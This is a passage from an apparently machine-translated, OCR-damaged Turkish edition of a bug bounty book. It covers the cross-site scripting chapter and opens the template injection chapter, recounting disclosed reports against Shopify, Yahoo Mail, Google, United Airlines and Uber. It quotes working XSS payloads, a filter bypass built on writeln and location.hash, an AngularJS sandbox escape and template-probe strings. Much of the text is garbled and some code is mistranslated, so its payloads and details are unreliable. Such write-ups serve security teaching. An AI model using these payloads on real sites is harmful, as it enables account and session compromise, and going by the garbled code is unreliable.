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ve komut dosyas1 ne zaman XSSHunter hesabiniza geri gonderilecegi diger bilgiler
Idam edildi.

Kendi kendine XSS giivenlik agiklar: saklanabilir veya saklanmayabilir ancak genellikle kullaniciy: etkileyebilir
yiike girmek, dolayisiyla addaki “ben”. Ornegin, bu meydana gelebilir

XSS bir POST istegi yoluyla gonderilir, ancak istek CSRF tarafindan korunur;

hedef, XSS yiikiinii génderebilir. Bir saldirgan yalnizca kendilerine saldirabildiginden, bu

XSS tiirti genellikle diisiik ciddiyet olarak kabul edilir ve hata 6diil programlari tarafindan 6denmez.

Bu tiir bir XSS bulursaniz, not almak ve firsat aramak i¢in en iyisi

oturum agma / kapatma CSRF gibi masum kullanicilara saldirmak i¢in bagka bir giivenlik agig: ile birlestirin.
Bu tiir bir saldirida, hedeflerinden biri hesaptan ¢ikarilir ve saldirganin hesabina kaydedilir.

K&tii niyetli JavaScript yiiriitmek i¢in hesap. Bu saldiri tipik olarak

K&ti niyetli JavaScript ile hedefi tekrar bu hesaba girig yapin ve harika bir 6rnek

Jack Whitton tarafindan Uber'deki sitelerden birinde yayimlanan 4 .

XSS’nin etkisi, depolanip depolanmadig veya

Cerezlerin erisilebilir olup olmadigy, yiikiin nerede yiiriidiigii vb.

Potansiyel sonuglara ragmen, XSS agiklarini diizeltmek ¢ogu zaman kolaydir ve yalnizca

once yazilim gelistiricilerin kullanic1 girisini (HTML enjeksiyonu gibi) dezenfekte etmesini gerektirir

render.
Ornekler

1. Toptan Shopify

Zorluk : Diisiik

URL : wholesale.shopify.com

Rapor Baglantisi : https://hackerone.com/reports/106293s
Rapor Tarihi : 21 Aralik 2015

Odemeli Odiil : 500 Dolar

Tanim :

Shopify'in toptanci sitesi 6 , farkli bir harekete gegirme ifadesi olan basit bir web sayfasidir.

iiriin adim ve "Uriinleri Bul" u tiklayin. Iste bir ekran goriintiisii:

4 . . . . .
https://whitton.io/articles/uber-turning-self-xss-into-good-xss

5 hitps://hackerone.com/reports/106293

6 wholesale.shopify.com
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Shopify'in toptan satis sitesinin ekran goriintiisii

Buradaki XSS giivenlik a¢1g1 bulabileceginiz en temel olaniydi - aramaya girilen metin
kutu kagamad, bu yiizden girilen herhangi bir Javascript ¢alistirildi. Iste génderilen metin
giivenlik a¢i1g1 agiklamasindan: test '; alert (' XSS ');'

Bu ¢aligsmanin nedeni Shopify'in kullanicidan girdi aldig1, arastirmay1 yiiriittigi

sorgusu ve higbir sonug déndiiriilmediginde, Shopify "hayir

bu isimde {iriinler bulundu ancak girilen Javascript

Sayfadaki bir Javascript etiketi i¢inde geri doniilmemis. Sonug olarak, XSS’den yararlanmak

giivenlik a¢131 6nemsizdi.

Siteler Aras1 Komut Dosyast

c¢ikarimlar

Metni girdiginiz durumlar igin 6zel dikkat gdstererek her seyi test edin

sana geri dondiiriiliiyor. HTML ekleyip eklemeyeceginizi belirlemek igin test edin

veya sitenin nasil iglendigini gormek i¢in Javascript. Ayrica buna benzer kodlanmis girisi deneyin
HTML Enjeksiyonu bolimiinde agiklanmistir.

XSS agiklarinin karmagik veya karmagik olmasi gerekmez. Bu giivenlik agig1
bulabileceginiz en temel seydi - sterilize etmeyen basit bir giris metin alan1
bir kullanicinin girigi. Ve 21 Aralik 2015'te kesfedildi ve

500 dolar hacker! Gereken tek sey bilgisayar korsaninin bakis agistydi.
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2. Hediye Kartim Shopify

Zorluk : Diigiik
URL : hardware.shopify.com/cart

Rapor Baglantisi : https://hackerone.com/reports/95089 7

Rapor Tarihi : 21 Ekim 2015
Odemeli Odiil : 500 Dolar
Tanim :

Shopify'in donanim hediye kart sitesis , kullanicilarin kendi hediye kartlarin
Dosya yiikleme giris kutusu, ayrintilar icin bazi metin kutular1 vb. iceren HTML formu.

bir ekran goriintiisii:

7 https://hackerone.com/reports/95089

8 . . .
hardware.shopify.com/collections/gift-cards/products/custom-gift-card

Siteler Aras1 Komut Dosyasi
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Shopify'in donanim hediye karti formunun ekran goriintiisii

Buradaki XSS giivenlik ac181, gériintiiniin adina Javascript girildiginde ortaya cikti.
formdaki alan. Bir HTML proxy ile yapildiginda oldukga kolay bir gérev. Yani burada, orijinal

form teslimi sunlar1 igerecektir:

—_n

Igerik - Yatirma : form - veri; name = "properties [ Yapit dosyasi]"

Hangisi ele gecirilip degistirilir:

Sayfa 70
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icerik Egilimi : form verisi ; name = "properties [ Yapit dosyasi < img src = 'test' onm

"

ouseover = 'alert (2)' > |

cikarimlar

Burada XSS giivenlik agigini bulurken yardimei olacak not edilmesi gereken iki sey var.
kravat, baglanti, bag:

1. Bu durumda bu giivenlik acig1 aslinda dosya girisi alaninda degildi -
alanin name 6zelligi tizerindeydi. Peki XSS'i ararken
firsatlar mevcut tiim giris degerleri ile oynamay1 unutmayin.
2. Buradaki deger vekil tarafindan yonlendirildikten sonra gonderildi. Bu
Javascript’in degerlerini dogrulayan
miisteri tarafi (tarayiciniz) herhangi bir deger aslinda sitenin geri donmeden dnce

sunucusu.

Ashnda, dogrulamay tarayicimizda ger¢ek zamanh olarak gordiigiiniizde,

bu alam test etmeniz gereken bir kirmizi kurbaga olmal! Gelistiriciler yapabilir
Degerlerin bir kez kotii amagh kod igin gonderilen degerleri dogrulamamasi hatasi
Javascript kodunun zaten tarayicida oldugunu diisiindiikleri i¢in sunucularina

Giris alinmadan 6nce dogrulama iglemlerini yapmak.
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3. Para Birimi Bicimlendirme Shopify

Zorluk : Diisiik

URL : SITE.myshopify.com/admin/settings/generalt
Rapor Baglantisi : https://hackerone.com/reports/104359¢
Rapor Tarihi : 9 Aralik 2015

Odemeli Odiil : 1000 $

Tanim :

Magazanin magaza ayarlari, para birimi bigimlendirmesini degistirme 6zelligini icerir. Aralik ayinda
9'da, bu girdi kutularindaki degerlerin uygun sekilde sterilize edilmedigi bildirildi.
sosyal medya sayfalarini ayarlarken.

Baska bir deyisle, kotii niyetli bir kullanici bir magaza kurabilir ve para birimi ayarlarini degistirebilir

magazaya asagidakiler i¢in:

? https://hackerone.com/reports/104359
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Shopify"in para birimi bigimlendirmesinin ekran goriintiisii

Daha sonra, kullanici rapor halinde sosyal medya satis kanallarini etkinlestirebilir,
Facebook ve Twitter ve kullanicilar o satig kanali sekmesine tikladiginda, Javascript

bir XSS giivenlik a¢ig1 ile sonuglandi.

c¢ikarimlar

Javascript metni giivenli bir sekilde olusturuldugunda XSS aciklar1 ortaya ¢ikar. Bu
metnin bir sitede birden fazla yerde kullanilmasi ve
Her yer test edilmelidir. Bu durumda, Shopify magaza igermez veya

Kullanicilarin Javscript'i kendi baslarina kullanmasina izin verildiginden XSS i¢in ¢ikis sayfalar

saklaym. Diigiinmeden once bu giivenlik agigin1 kapatmak daha kolay olurdu
Alanin harici sosyal medya sitelerinde kullanilip kullanilmadigi.
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4. Yahoo Mail Saklanan XSS

Zorluk : Diisiik
URL : Yahoo Mail
Rapor Baglantis1 : Klikki.fi 10

Rapor Tarihi : 26 Aralik 2015

10" https:/klikki.fi/adv/yahoo.html
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Odemeli Odiil : 10.000 $
Tanim :

Yahoo'nun posta editorii, insanlarin bir IMG ile HTML yoluyla goriintiileri bir e-postaya gdmmesine izin verdi
etiket. Bu giivenlik ag1g1, HTML IMG etiketi hatal1 bigimlendirildiginde veya gecersiz oldugunda ortaya ¢ikar.

Cogu HTML etiketi, HTML etiketi ile ilgili ek bilgiler iceren nitelikleri kabul eder. I¢in
ornegin, IMG etiketi olusturulacak goriintiiniin adresini gosteren bir src niteligi alir.
Ayrica, bazi 6zellikler boolean 6zellikler olarak adlandirilir, yani

dahil, HTML de gergek bir degeri temsil ederler ve ihmal edildiklerinde

yanlis bir deger.

Bu giivenlik a¢ig1 ile ilgili olarak, Jouko Pynnonen boolean ekledigi takdirde
bir degere sahip HTML etiketlerine atfedilen 6zellikler, Yahoo Mail degeri kaldiracak ancak
esit isaretler. Klikki.fi web sitesinden bir 6rnek:

<INPUT TYPE = "onay kutusu" CHECKED = "merhaba" NAME = "onay kutusu">

Burada bir giris etiketi, onay kutusunun isaretli olup olmadigini belirten isaretli bir 6zellik i¢erebilir.
isaretlendigi gibi iglenirdi. Yukarida agiklanan ayristirmanin ardindan, bu
olmak:

<INPUT TYPE = "onay kutusu" CHECKED = NAME = "onay kutusu">

HTML nin isaretli bir degere sahip olup olmadigina dikkat edin, ancak yine de
Esittir isareti.

Kusgkusuz bu zararsiz goriiniiyor ama HTML 6zelliklerine gore, tarayicilar bunu okuyor

NAME = "degerine sahip CHECKED olarak kontrol edin ve giris etiketinin {igiincii bir niteligi var

degeri olmayan bir adlandirilmis kutu . Bunun nedeni HTML'nin sifir veya daha fazla alana izin vermesidir.
esittir igareti etrafindaki karakterleri bir alintilanmamis 6znitelik degerinde.

Bundan yararlanmak i¢in, Jouko agagidaki IMG etiketini sundu:

<img ismap = 'xxx' itemtype ="yyy style = genislik:% 100; yiikseklik:% 100; konum: sabit; sol: \

0 piksel; en: 0 piksel; onmouseover = alarm (/ XSS /) /' >

hangi Yahoo Mail filtresine dontigiir:


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://klikki.fi/adv/yahoo.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://klikki.fi/adv/yahoo.html

<img ismap = itemtype = yyy stili = genislik : % 100 ; yiikseklik : % 100 ; pozisyon : sabit ; sol : 0 piksel ; iist \

: 0 piksel ; onmouseover = alarm (/ XSS /) />
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Sonug olarak, tarayici tiim tarayici penceresini kaplayan bir IMG etiketini olusturur

ve fare resmin iizerine geldiginde, Javascript ¢alistirilacaktir.

cikarimlar

Yanlis bigimlendirilmis veya bozuk HTML’yi gegmek, sitelerin nasil ayrigtirildigini test etmek igin harika bir yoldur
giris. Bir bilgisayar korsani olarak, gelistiricilerin neler yapmadigim diisiinmek énemlidir. I¢in
Ornegin, normal resim etiketleriyle, iki src niteligi iletirseniz ne olur?

Bu nasil olacak?

5. Google Gorsel Arama

Zorluk : Orta

URL : images.google.com

Rapor Baglantisi : Zombie Help 1
Rapor Tarihi : 12 Eyliil 2015
Odemeli Odiil : Agiklanmad:
Tamm :

Eyliil 2015°te, Mahmud Jamal Google’in resmini bulmak i¢in Google Gdrseller’i kullaniyordu.
HackerOne profili. Tarama yaparken, resim URL’sinde ilging bir sey fark etti.
Google'dan:

http: //www.google.com/imgres imgurl = https:? //Ih3.googleuser.com / ...

Gergek URL'deki imgurl referansina dikkat edin. Kiigiik resmin iizerine gelin,

Mahmoud, ¢apa etiketi href 6zelliginin aynt URL'yi icerdigini fark etti. Sonug olarak,
parametresini javascript olarak degistirmeyi denedi : alert (1) ve ¢apa etiketinin farkina vardi.
href de ayn1 degere degistirildi.

Bu noktada heyecanlandi, baglantiyi tikladi, ancak Google olarak Javascript ¢alistirilmadi.
URL farkli bir seye degistirildi. Anlasilan, Google kodu URL degerini degistirdi
Bir fare diigmesine onmousedown Javascript geri ¢agirma yoluyla tiklandiginda.

Bunu diisiinerek, Mahmoud klavyesini denemeye ve sayfa boyunca sekmeye karar verdi.
O vardigimizda Goriiniim Goriintii diigmesi, JavaScript, bir XSS sonuglanan tetiklendi
Giivenlik agig1. Iste goriintii:



https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://zombiehelp54.blogspot.ca/2015/09/how-i-found-xss-vulnerability-in-google.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://zombiehelp54.blogspot.ca/2015/09/how-i-found-xss-vulnerability-in-google.html

Sayfa 74

Sayfa 75

Siteler Arast Komut Dosyast

Google XSS Giivenlik A¢ig1

cikarimlar

Daima giivenlik agiklarin1 aramaya devam edin. Bunu varsaymak kolaydir ¢iinkii
bir sirket ¢ok biiyiik ya da iyi biliniyor, her seyin bulundugunu biliyor. Ancak,
sirketler her zaman kodu gonderir.

Ek olarak, javascript'in ¢alistirilabilmesi i¢in birg¢ok yol vardir.

Google’in degerini degistirdigini gordiikten sonra bu durumda vazgegmek kolaydi.

baglantiy1 her tikladiginda, yani
fare.

6. Google Tagmanager Depolanan XSS

Zorluk : Orta

URL : tagmanager.google.com

Rapor Tarihi : 31 Ekim 2014
Odemeli Odiil : 5000 Dolar

Tamim :

12 https://blog.it-securityguard.com/bugbounty-the-5000-google-xss
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Ekim 2014'te Patrik Fehrehbach Google’a karsi depolanmig bir XSS giivenlik agig1 buldu.
Raporun ilging yani, Google’dan gegen yiikii nasil elde edebilecegi.

Google Tagmanager, pazarlamacilarin eklemesi ve giincellemesini kolaylastiran bir SEO aracidir

web sitesi etiketleri - doniisiim izleme, site analitigi, yeniden pazarlama ve digerleri dahil. i¢in

Bunu yapin, kullanicilarin etkilesime girmesi i¢in ¢ok sayida web formu vardir. Sonug olarak, Patrik basladi
# ” gibi goriinen mevcut form alanlarina XSS yiiklerini girerek <img

src =/ onerror = uyari (3)> . Kabul edilirse, bu mevcut HTML'yi kapatir> ve sonra

Onerror Javascript'ini uygulayacak varolmayan bir resmi yiiklemek i¢in, alert (3).

Ancak bu ige yaramadi. Google, girdiyi diizgiin bir sekilde temizliyordu. Ancak Patrik fark etti
alternatif - Google, birden fazla etiket iceren bir JSON dosyasi yiikleme olanagi saglar. Yani

ornegi indirdi ve yiikledi:

"veri": {
"name": "#"> <img src =/ onerror = alert (3)> ",
"type": "AUTO_EVENT_VAR",
"autoEventVarMacro": {
"varType": "HISTORY _NEW_URL FRAGMENT"
}
¥

Burada, etiketin adinin XSS yiikii oldugunu goreceksiniz. Anlasilan, Google degildi

Yiiklenen dosyalardan girdilerin ve yiiriitiilen yiikiin dezenfekte edilmesi.

c¢ikarimlar

Burada iki sey ilging. flk olarak, Patrik saglamaya bir alternatif buldu

giris - bunun i¢in uyanik olun ve bir hedefin sagladigi tiim yontemleri test edin

girisi girin. Ikincisi, Google girisi dezenfekte ediyordu ancak ne zaman kactigini bilmiyordu.
render. Patrik'in girisinden kagmus olsalards, yiik isten ¢ikarilmayacakti

¢linkii HTML zararsiz karakterlere doniistiiriilecekti.

7. United Airlines XSS

Zorluk : Zor

URL :: checkin.united.com

Rapor Baglantisi : United XSS United 13

Rapor Tarihi : Temmuz 2016

13 strukt93 blogspot.ca

Siteler Aras1 Komut Dosyasi

Odemeli Odiil : TBD
Tanim :

Temmuz 2016'da ucuz uguslar ararken Mustafa Hasan (@ strukt93) alay etmeye basladi
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United Airlines sitelerinde bocek bulup bulamayacagini gérmek i¢in (United kendi hatalarin1 yapryor)
bunu yazdig sirada liituf). Bazi ilk arastirmalardan sonra, o ziyaret oldugunu fark

sub domain checkin.united.com , SID parametresini igeren URL’ye yonlendirildi.
sayfa HTML’de gosteriliyordu. Test ederek, herhangi bir degerin gectigini fark etti.
Sayfa HTML’de islendi. Bu yiizden test etti > <svg onload = onayla (1)> eger

yanlis islenirse, mevcut HTML 6zelligini kapatmali ve kendi svg'sini enjekte etmelidir.
Javascript ile sonuglanan etiket, onload olayinin izniyle acilir.

Ancak HTTP istegini gonderirken, yiikii islense de hicbir sey olmadi
oldugu gibi, ¢tkmamis:

Birlesik Sayfa Kaynag

Iste buna dahil olmamin nedenlerinden biri, oysa muhtemelen verirdim

Ayaga kalkip uzaklasti, Mustafa igeri girdi ve neler oldugunu sorguladi. O basladi

sitenin Javascript’ine goz atip, asagidaki kodla karsilasti;

Potansiyel zararli Javascript'i, zellikle uyar1 , onaylama , bilgi isteme ¢agrilarini gegersiz kilar ,
yazmak , vb .:

Siteler Aras1 Komut Dosyast
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Birlesik XSS Filtresi

Snippet'e bakmak, Javascript'i bilmeseniz bile, tahmin edebilirsiniz.
kullanilan kelimelerin bazilar1 neler oluyor. Ozellikle, iginde exec_original
XSSObject proxy tanimi. Javascript bilgisi olmadan, muhtemelen varsayilabiliriz

bu, orijinalin yiiriitiilmesine atifta bulunmaktadir. Hemen altinda, hepsinin bir listesini gorebiliriz.

ilging anahtarlarimiz ve sonra yanhs deger (sonuncusu hari¢) gegildi. Yani sen

Bazi sitelerin yiiriitiilmesine izin vermeyerek sitenin kendisini korumaya calistigini varsayabiliriz.

belirli islevler. $imdi, hacklemeyi 6grenirken, gelmek egiliminde olan seylerden biri

kara listeler, bunun gibi, bilgisayar korsanlarina kars1 korumanin korkung bir yoludur.
Bu notta, bildiginiz veya bilmediginiz gibi, Javascript ile ilgili ilgin¢ seylerden biri.
Mevcut fonksiyonlari gegersiz kilabilirsiniz. Oyleyse, bunu tantyarak, Mustafa énce

Document.write islevini SID'de eklenen agagidaki degerle geri yiiklemek i¢in

JavaScript: document.write = HTMLDocument.prototype.write; document.write ( 'STRUKT"); .

Bunun yaptig1, belgenin yazma islevini orijinal islevine ayarlamaktir; dan beri

Javascript nesne yonelimli, tiim nesnelerin prototipi var. Yani, HTML'i ¢agirarak

Belge, Mustafa, mevcut belgenin yazma iglevini orijinaline geri dondiirdii
HTMLDocument'den uygulama. Ancak document.write ('STRUKT") adl1 telefonu ¢agirarak,

tek yaptig1, sayfaya diiz metin olarak adin1 eklemekti:

Siteler Aras1 Komut Dosyasi

Birlesik Diiz Metin
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Bu ise yaramadiysa da, Javascript islevlerinde yerlesik oldugunu kabul etmek gegersiz kilinabilir

bir giin kullanish olacak. Yine de, bu noktada, gorevine ve benim

Onunla tartisma, Mustafa biraz sikigsmis ve bdylece @ brutelogic girdi. Sadece yaptim

Javascript'i caligtirmak i¢in birlikte ¢alisiyorlar, bir tonu sabirla cevapladilar.

Bu kesifle ilgili sorular, bu yiizden her ikisi i¢in de bilyiik bir tesekkiir

Mustafa'nin blogunu ve @ brutelogic'in sitesini ¢ok sayida harika XSS igerigine sahip oldugu i¢in kontrol ettiniz,
SecLists deposunda bulunan ve her ikisine de referans verilen bir hile sayfas1 dahil

Kaynaklar Béliimiinde).

Her iki bilgisayar korsaniyla yaptigim goriigmeye gore, United'in XSS filtresinde bir islev eksik
benzer yazma ediliyor ki writeln . Ikisi arasindaki fark bu yazilidir.

basitge metnini yazdiktan sonra yeni bir satir ekler, oysa yazmaz .

Yani, bunu taniyarak, @ brutelogic islevi yazmak i¢in islevi kullanabilecegini biliyordu.
United'in XSS filtresinin bir pargasini atlayarak HTML belgesine. O yapt1

”;} {Document.writeln (decodeURI (location.hash)) - # <img src = 1 onerror = alert (1)>,
ama onun Javascript hala yiiriitmedi. Clinkii XSS filtresi hala yiikleniyordu

ve uyar1 islevini gegersiz kilmak .

Nihai yiike gegmeden 6nce, Brute'un ne kullandigina bir géz atalim ve parcalayalim:

« {1k parca, ”;} , icine enjekte edilen mevcut Javascript'i kapatir.
+ ikinci parga, { Javascript yiikiinii agar
» Ugiincii parca olan document.writeln , Javascript belge nesnesinin

Sayfaya igerik yazmak i¢in writeln islevi (aslinda, belge nesnesi)

Siteler Aras1 Komut Dosyasi

* Dordiincii parga, decodeURI bir kodlanmig varliklarin kodunu ¢ézecek olan bir fonksiyondur.
URL (6r.% 22, “olacak™)

* Besinci parga, location.hash , URL'deki # isaretinden sonraki tiim parametreleri dondiiriir

* Altinci parga, - “ uygun Javascript’i saglamak i¢in alintty1 bir adimdan itibaren degistirir.
sOzdizimi

* Son parga, # <img src = 1 onerror = alert (1)> asla gonderilmeyen bir parametre ekler
Sunucuya ancak her zaman yerel olarak kalir. Bu benim i¢in en kafa karigtirici oldu ama
gelistiricilerinizi Chrome veya Firefox’ta agarak yerel olarak test edebilirsiniz;
Kaynaklar sekmesini ve ardindan tarayicida, herhangi bir URL’ye #test ekleyin ve
bu HTTP istegine dahil edilmedi

Biitiin bunlarla Brute ve Mustafa, yeni bir HTML Belgesine ihtiya¢ duyduklarini anladilar.
Birlesik site baglaminda, yani, sahip olmayan bir sayfaya ihtiyaglari vardi.
XSS filtresi Javascript yiiklii, ancak United web sayfasi bilgisi, gerezleri vb.

Ve bunu yapmak i¢in bir [Frame kullandilar.

Ozet olarak, bir IFrame baska bir HTML belgesinin i¢ine gémiilmiis bir HTML belgesidir.

Bir sitede bahsetmek. En temelinde, onu yeni bir HTML sayfasi olarak diigiinebilirsiniz, ancak
onu yerlestiren HTML sayfasina erigim. Bu durumda, IFrame olmazdi

XSS filtresi Javascript yiiklii ancak Birlesik siteye gomiilii oldugundan

cerezler de dahil olmak iizere igeriginin tlimiine erigebilir.

Tiim bunlarla, iste son yiikiin nasil oldugu:
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Birlesik XSS

IFrames, uzak HTML’yi ¢ekmek i¢in bir kaynak niteligi alabilir. Bu da Brute'a izin verdi.

kaynag1 Javascript olacak sekilde ayarlayin, hemen uyart islevini belge ile ¢agirin

alan adi.

c¢ikarimlar

Bu giivenlik agig ile ilgili beni ¢ok etkileyen ¢ok sey var

bunu dahil etmek istiyorum. {1k olarak, Mustafa'nin 1srar1. Ne zaman pes etmek yerine

yiik aslen ateglemedi, Javascript koduna girdi ve 6grendi.

neden. ikincisi, kara listenin kullanimi tiim bilgisayar korsanlar igin kirmiz1 bir bayrak olmalidir. Tut
hack edenler igin bir géz. Son olarak, yiikten ¢ok sey 6grendim ve

@ brutelogic ile konusuyor. Hackerlarla konusurken ve kendimi 6grenmeye devam ederken,

Bazi Javascript bilgilerinin gerekli oldugu i¢in kolayca anlasiliyor

daha karmasik giivenlik agiklart ¢ekerek.

Siteler Aras1 Komut Dosyast

ozet

XSS agiklar site gelistiricileri igin gergek bir risk olusturuyor ve sitelerde hala yaygin

genellikle diiz goriiste. Javascript uyar1 yontemine bir ¢agr1 gondererek, alert (‘test'),

Bir giris alaninin savunmasiz olup olmadigini kontrol edebilirsiniz. Ayrica, bunu birlestirebilirsiniz

HTML Enjeksiyonu ile metnin olusturulup olusturulmadigini gérmek i¢in ASCII kodlu karakterleri gonderin

ve yorumlanmis.

XSS agiklarini ararken, hatirlanmasi gereken bazi seyler:

XSS agiklarmin karmagik olmasi gerekmez. Nerede oldugunu diisiinmek 6nemlidir

bir site girisinizi ve 6zellikle de hangi baglamda oldugunu
HTML veya JavaScript.

XSS yiikleri gonderildikten hemen sonra galigmayabilir. Bu im-

girisinizin olusturulabilecegi tiim yerleri arama ve onaylama

Yiikiin uygun sekilde sterilize edilip edilmedigi. Http://html5sec.org web sitesi,

Cure53'te penetrasyon testi uzmanlari tarafindan siirdiiriilen harika bir referans

XSS yiikleri i¢in saldir1 vektorii tarafindan ayrildi.

Bir site herhangi bir zamanda, girisi kaldirmak gibi degisiklikler yoluyla girdiyi temizliyorsa

karakterleri, nitelikleri ve benzerlerini dezenfekte etme fonksiyonunu test etmelisiniz.

Ality. Ornegin, bunu gibi beklenmedik degerleri gondererek yapabilirsiniz.

Boole ozellikleri ile degerleri.

Kontrol ettiginiz URL parametrelerinin sayfaya yansimasin saglayin

Ciinkii bunlar, kodlamayi atlayabilen bir XSS istisnas1 bulmaniza izin verebilir.

Ornegin, bir capa etiketindeki href degeri iizerinde denetiminiz varsa,

XSS giivenlik agigiyla sonuglanmak i¢in 6zel karakterler kullanmaniz gerekmeyebilir.

Bir sitenin sadece yas1, markasi, islevselligi nedeniyle savunmasiz olmadigini varsaymayin.
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ity ve benzeri. En iyi bilinen siteler bile kesfedilmemis boceklere sahip olabilir.

Sitelerin girisini dezenfekte ettigi firsatlar i¢in uyanik olun
giris yaparken degil, gonderim. Ne zaman yeni bir basvuru
yontem web sitesine eklenir ve site girdiyi dezenfekte eder, bu
potansiyel gelistirici hatalar1 ve potansiyel hatalar i¢in oda.

Kullanici girisini temizleyen bir siteden garip davranislar gérdiigiiniizde 1srarli olun
ve sterilizasyonun nasil ¢alistigin1 gérmek igin sitenin kodunu kazin. Thtiyacin olabilir
Bunu yapmak i¢in biraz JavaScript 6grenmek, ancak sitenin kaynak kodunu anlamak

uzun vadede faydali olacaktir.

10. Sablon Enjeksiyonu

Aciklama

Bir sablon motoru, dinamik web siteleri, e-postalar vb. Olusturmak i¢in kullanilan koddur. Basit
fikir, icerik i¢in dinamik yer tutucularla sablonlar olusturmaktir. Sablon ne zaman
islendiginde, motor bu yer tutuculari asil igerigiyle degistirir, bdylece

uygulama mantig1 sunum mantigindan ayrilmistir.

Ornegin, bir web sitesinde dinamik olan kullanic1 profili sayfalari igin bir sablon olabilir.
kullanicinin ad1, e-posta adresi, yasi vb. profil alanlar1 igin yer tutucular.

Bu, bir sitenin, yerine bu bilgileri alan bir sablon dosyasina sahip olmasini saglar.

Her kullanicinin profili i¢in ayr1 bir dosya. Ayrica motorlu motorlar genellikle ek
kullanicr girisi iyilestirme 6zellikleri, basitlestirilmis HTML iiretimi ve

kolay bakim, ancak bu &zellikler sablonlu motorlar1 bagisiklik kazanmaz

agiklari.

Sunucu tarafi ve istemci tarafi olmak iizere iki tiir sablon enjeksiyon zayiflig1 vardir. Her ikisi de

Motorlar, kullanict girisi uygun sekilde dezenfekte etmeden sagladiginda, ¢apraz

site komut dosyasi. Bununla birlikte, siteler aras1 komut dosyasi ¢alistirmanin aksine, sablon ekleme giivenlik agiklari
bazen uzaktan kod yiiriitiilmesine neden olabilir.

Sunucu Tarafi Sablon Enjeksiyonlar

Sunucu tarafi sablon enjeksiyonlar1, ayn1 zamanda SSTI'ler olarak da bilinir, enjeksiyon gerceklestiginde gergeklesir
sunucu tarafi mantiginda. Sablon motorlar1 genellikle belirli ile iligkili oldugundan

programlama dilleri, bir enjeksiyon gerceklestiginde, yiiriitmek miimkiin olabilir

bu dilin keyfi kodu. Kod yiiriitme 6zelligi, giivenceye baghdir.

motor tarafindan saglanan korumalar ve sitenin sahip olabilecegi dnleyici tedbirler

alinmig. Ornegin, Python Jinja2 motoru istege bagh bir dosyayla iliskilendirildi

erisim ve uzaktan kod ¢alistirmanin yani sira tarafindan kullanilan Ruby erb sablon motoru

Raylar’da varsayilan Buna karsilik, Shopify'in Stvi Motoru sinirli sayida erisime izin veriyor

tam uzaktan kod yiiriitiilmesini engelleyen Ruby yontemleri. Diger popiiler motorlar

PHP i¢in Smarty ve Twig, Ruby, Mustache ve benzerleri i¢in Haml.



SSTI testi i¢in kullanilan s6zdizimi, kullanilan motora baglidir, ancak genellikle asagidakileri igerir:
belirli bir sdzdizimiyle sablon ifadelerini gonderme. Ornegin, PHP sablonu

engine Smarty ifadeleri belirtmek igin dort ayrag ({{}}) kullaniyor, erb ise bir kombinasyon kullaniyor;
parantez ulus, yiizde sembolleri ve esit bir isaret (<% =%>) . Enjeksiyonlari sinama
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Smarty, girislerin sayfaya geri yansitildigi her yere {{7 * 7}} gonderilmesini i¢erebilir
(formlar, URL parametreleri vb.) ve 49 6gesinden olusturulup olusturulmadigini teyit etmek
kod 7 * 7 ifadesinde galistirma. Oyleyse, olusturulan 49 ifadeyi ifade eder

sablon tarafindan basariyla enjekte edildi ve degerlendirildi.

S6zdizimi tiim sablon motorlarda ayni olmadigindan, belirlenmesi 6nemlidir.
test edilen siteyi olugturmak i¢in hangi yazilim kullanildi. Wappalyzer veya BuiltWith gibi araglar
Bunu yapmaniza yardimci olmak i¢in 6zel olarak tasarlanmistir, bu yiizden ikisini de kullanmanizi tavsiye ederim. bir Zamanlar

Yazilimi tanimladiniz, yiikii 7 * 7 gondermek i¢in bu sdzdizimini kullanin.

Miisteri Tarafi Sablon Enjeksiyonlar:

Miisteri Tarafi Sablon Enjeksiyonlar1 veya CSTI, sablon motoru enjeksiyonlariim bir sonucudur.
Istemci sablon motorlarinda, genellikle JavaScript ile yazilmis. Popiiler istemci sablonu
motorlar arasinda Google tarafindan gelistirilen AngularJS ve Facebook tarafindan gelistirilen React]S bulunmaktadir.

CSTI enjeksiyonlari, kullanicinin tarayicisinda yiiriitiilen yazilimda gergeklestiginden, cogu

enjeksiyonlar tipik olarak sadece siteler arast komut dosyast ¢alistirma (XSS) elde etmek i¢in kullanilabilir ve
uzaktan kod yiiriitme. Bununla birlikte, XSS'ye ulagmak bazen zor olabilir ve gerekebilir

SSTI aciklar gibi dnleyici tedbirleri atlayarak. Ornegin, AngularJS

1.6'dan onceki siiriimler, bazi JavaScript’lere erigimi sinirlama amagl bir Sandbox igerir.

fonksiyonlar1 ve boylece XSS'ye karst koruma (AngularJS'nin versiyonunu onaylayabilirsiniz.

tarayicinizda gelistirici konsolunu agarak ve angular.version girerek kullanilir ).

Bununla birlikte, etik korsanlari rutin olarak Bulunan ve Agilan sanal alan bypasslarini birakti. bir

Sandbox i¢in 1.3.0-1.5.7 siiriimlerinde kullandigimiz popiiler bir baypas

Agisal enjeksiyon bulunur:

{{ a=toString () .constructor.prototype ; a.charAt = a.trim ; $ eval ('a, uyar1 (1), a') }} .

Yayinlanan diger A¢isal Sandbox ¢ikislarini https://pastebin.com/xMXwsmON adresinde bulabilirsiniz.
ve https://jsfiddle.net/89aj1n7m/.

Bir CSTI giivenlik agiginin ciddiyetinin gésterilmesinin sizi gerektirdigini géreceksiniz

Kodu test etmek i¢in potansiyel olarak uygulayabilirsiniz. Degerlendirmek miimkiin olabilir iken
bazi1 JavaScript kodlari, baz siteler 6nlemek i¢in ek giivenlik mekanizmalar olabilir.

somiirii. Ornegin, geri donen {{4 + 4} } yiikiinii kullanarak bir CSTI buldum

Angular]S kullanarak bir sitede 8. Ancak, {{4 * 4}} kullandigimda, {{44}} metni dondiiriildii.
¢linki site, isareti kaldirarak girisi temizlemistir. Alan ayrica kaldirildi

() ve [] gibi 6zel karakterler ve yalnizca 30 karaktere izin verilir. Hepsi bu

Kombine etkili CSTI yararsiz hale getirdi.
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Sablon Enjeksiyonu

Ornekler

1. Uber Acisal Sablon Enjeksiyonu

Zorluk : Yiiksek

URL : developer.uber.com

Rapor Baglantisi : https://hackerone.com/reports/125027:
Rapor Tarihi : 22 Mart 2016

Odemeli Odiil : 3,000 Dolar

Tanim :

Mart 2016'da, James Kettle (Burp Suite gelistiricilerinden biri, dnerilen bir arag
Araglar boliimiinde), URL’de bir CSTI giivenlik ac181 buldu:

